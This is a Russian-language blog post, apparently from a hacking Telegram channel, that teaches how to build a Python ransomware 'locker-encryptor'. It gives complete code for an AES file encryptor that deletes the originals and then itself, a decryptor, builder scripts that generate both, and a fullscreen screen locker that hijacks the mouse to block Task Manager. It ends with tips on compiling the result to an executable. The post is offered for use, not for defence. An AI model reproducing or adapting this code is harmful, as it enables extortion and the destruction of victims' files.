January 28, 2019

Пишем локера-шифровальщика на Python [BlackCoding]

https://t.me/darkside_team

Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.

По традиции скачиваем питон с официального сайта ТЫК

Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)

Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron'у), но я покажу лишь принцип работы и его чистый код.

Поехали!

ПИШЕМ ШИФРОВАЛЬЩИК

Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.

Начнем с файла шифровальщика

Сначала импортим модули отвечающие за шифрование и действия в системе

Код:

import pyAesCrypt
import os, sys

Далее создаем функцию которая шифрует данные

Код:

def crypt(file):
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)

Не обращайте внимания на функции print они сделаны для украшения окна билдера.

Функция password это и есть наш ключ шифрования (сюда можно вставить любой пасс он и будет являться ключом).

Далее создаем функцию которая лазит по директориям

Код:

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir,name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))

Эта функция лазит по директориям и чекает файлы, если это отдельный файл то она его шифрует если это папка то переходит в нее и шифрует все там.

Здесь

важно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется

В конце удаение файла чтобы из него нельзя было достать ключ.

Все наш шифровальщик готов, теперь нужно сделать дешифратор.

Код:

import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="hello"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("C:\Users\User\Desktop\папка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))

Так же создается две функции которая дешифрует и чекает директории

ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА

direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
    crypt.write('''
import os, sys
def crypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
    print("[crypted] '"+str(file)+".crp'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path): crypt(path)
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    print("---------------------------------------------------------------" )
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
    print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------" )

При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)

Оба файла сохраняются в директорию с билдером.

ПИШЕМ ЛОКЕР

from tkinter import Tk,Entry,label
from pyautogui import click, moveTo
from time import sleep

Импортим модули из библиотек, первый модуль нужен для создания экрана, второй для затруднения доступа к другим файлам типа cmd, диспетчер задач и т.п и так же он будет все время кликать в центр, последняя нужна для того чтобы pyautogui начал свои действия не сразу.

Далее создаем функции

def callback(event):
    global k,entry
    if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему
def on_closing():
    click(675, 420) #координаты кликанья мышки
    moveTo(675, 420) #координаты сдвига мышки
    root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей
    root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон
    root.update()
    root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль
root=Tk() # Создание окна
root.title("Locker") # Заголовочное название
root.attributes("-fullscreen",True) # Расширение под экран
entry=Entry(root,font=1) # Поле ввода
entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры
label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1
label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2
label1.place(x=470,y=300) # Координаты надписи 2
root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы
k=False
while k!=True: on_closing()

окно локера:

Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.

Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.

(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавить в него пару строк кода чтобы превратить его в билдер - бессмысленно, только лишний текст)

direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования
password=input("Write the password for crypter: ") #пишем пароль для шифровальщика
pasw=input("Write the password for locker: ") #пишем пароль для локера
with open("cryptlocker.py","w") as crypt:
    crypt.write('''
import os, sys, pyAesCrypt
from threading import *
from pyautogui import click, moveTo
from tkinter import Tk,Entry,Label
from time import sleep
def locker():
    def callback(event):
        global k,entry
        if entry.get()=="'''+str(pasw)+'''": k=True
    def block(void):
        click(675, 420)
        moveTo(675, 420)
        root.attributes("-fullscreen",True)
        root.protocol("WM_DELETE_WINDOW", block)
        root.update()
        root.bind('<Control-KeyPress-c>', callback)
    global k,entry
    root = Tk()
    root.title("Locker")
    root.attributes("-fullscreen",True)
    entry = Entry(root,font=1)
    label0=Label(root,text="Locker_by_#571",font=1)
    label0.grid(row=0,column=0)
    label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20')
    label1.place(x=470,y=300)
    entry.place(width=150,height=50,x=600,y=400)
    root.update(); sleep(0.2)
    click(675, 420)
    k=False
    while k!=True: block(None)
def crypter():
    def crypt(file):
        password="'''+str(password)+'''"
        bufferSize = 512*1024
        pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
        print("[crypted] '"+str(file)+".crp'")
        os.remove(file)
    def walk(dir):
        for name in os.listdir(dir):
            path = os.path.join(dir, name)
            if os.path.isfile(path): crypt(path)
            else: walk(path)
    walk("'''+str(direct)+'''")
    os.remove(str(sys.argv[0]))
thread_1 = Thread(target=locker)    #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик
thread_2 = Thread(target=crypter)  #
thread_1.start(); thread_2.start()    #
thread_1.join(); thread_2.join()      #
''')
    print("[+] File 'cryptlocker.py' successfully saved!")
with open("key.py","w") as key:
    key.write('''
import os, sys
def decrypt(file):
    import pyAesCrypt
    password="'''+str(password)+'''"
    bufferSize = 512*1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
    print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
    os.remove(file)
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try: decrypt(path)
            except: pass
        else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
''')
    print("[+] File 'key.py' successfully saved!")

В конце концов создается два файла criptlocker.py и key.py оба удаляются после первого использования

КОМПИЛЯЦИЯ

Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него. Как это сделать рассказано в предыдущих статьях.

Dark $ide - Твоя Тёмная Сторона

Если хочешь предложить свой контент пиши в бота: @ds_offer_robot